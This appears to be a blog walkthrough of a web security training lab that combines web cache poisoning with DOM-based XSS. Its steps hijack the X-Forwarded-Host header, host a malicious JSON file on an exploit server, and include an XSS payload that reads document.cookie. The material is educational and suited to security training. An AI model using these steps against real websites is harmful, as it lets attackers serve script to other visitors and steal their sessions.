Lab: Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability…

This lab contains a DOM-based vulnerability that can be exploited as part of a web cache poisoning attack. A user visits the home page roughly once a minute. Note that the cache used by this lab has stricter criteria for deciding which responses are cacheable, so you will need to study the cache behavior closely.To solve the lab, poison the cache with a response that executes alert(document.cookie) in the visitor's browser.

1. With Burp running, open the website's home page.
2. In Burp, go to "Proxy" > "HTTP history" and study the requests and responses that you generated. Find the GET request for the home page and send it to Burp Repeater.
3. Use Param Miner to identify that the X-Forwarded-Host header is supported.
4. Add a cache buster to the request, as well as the X-Forwarded-Host header with an arbitrary hostname, such as example.com. Notice that this header overwrites the data.host variable, which is passed into the initGeoLocate() function.
5. Study the initGeoLocate() function in /resources/js/geolocate.js and notice that it is vulnerable to DOM-XSS due to the way it handles the incoming JSON data.
6. Go to the exploit server and change the file name to match the path used by the vulnerable response:
7. /resources/json/geolocate.json
8. In the head, add the header Access-Control-Allow-Origin: * to enable CORS
9. In the body, add a malicious JSON object that matches the one used by the vulnerable website. However, replace the value with a suitable XSS payload, for example:
10. { "country": "<img src=1 onerror=alert(document.cookie) />" }
11. Store the exploit.
12. Back in Burp, find the request for the home page and send it to Burp Repeater.
13. In Burp Repeater, add the following header, remembering to enter your own exploit server ID:
14. X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
15. Send the request until you see your exploit server URL reflected in the response and X-Cache: hit in the headers.
16. If this doesn't work, notice that the response contains the Set-Cookie header. Responses containing this header are not cacheable on this site. Reload the home page to generate a new request, which should have a session cookie already set.
17. Send this new request to Burp Repeater and repeat the steps above until you successfully poison the cache.
18. To simulate the victim, load the URL in the browser and make sure that the alert() fires.
19. Replay the request to keep the cache poisoned until the victim visits the site and the lab is solved

Please comment on which part you like most. If you need any further assistance, please feel free to let me know!

"SECURING- DIGITAL ASSEST OF LIFE"

For more details, Ping a message on LinkedIn:

https://www.linkedin.com/in/lavanya-a-939675251/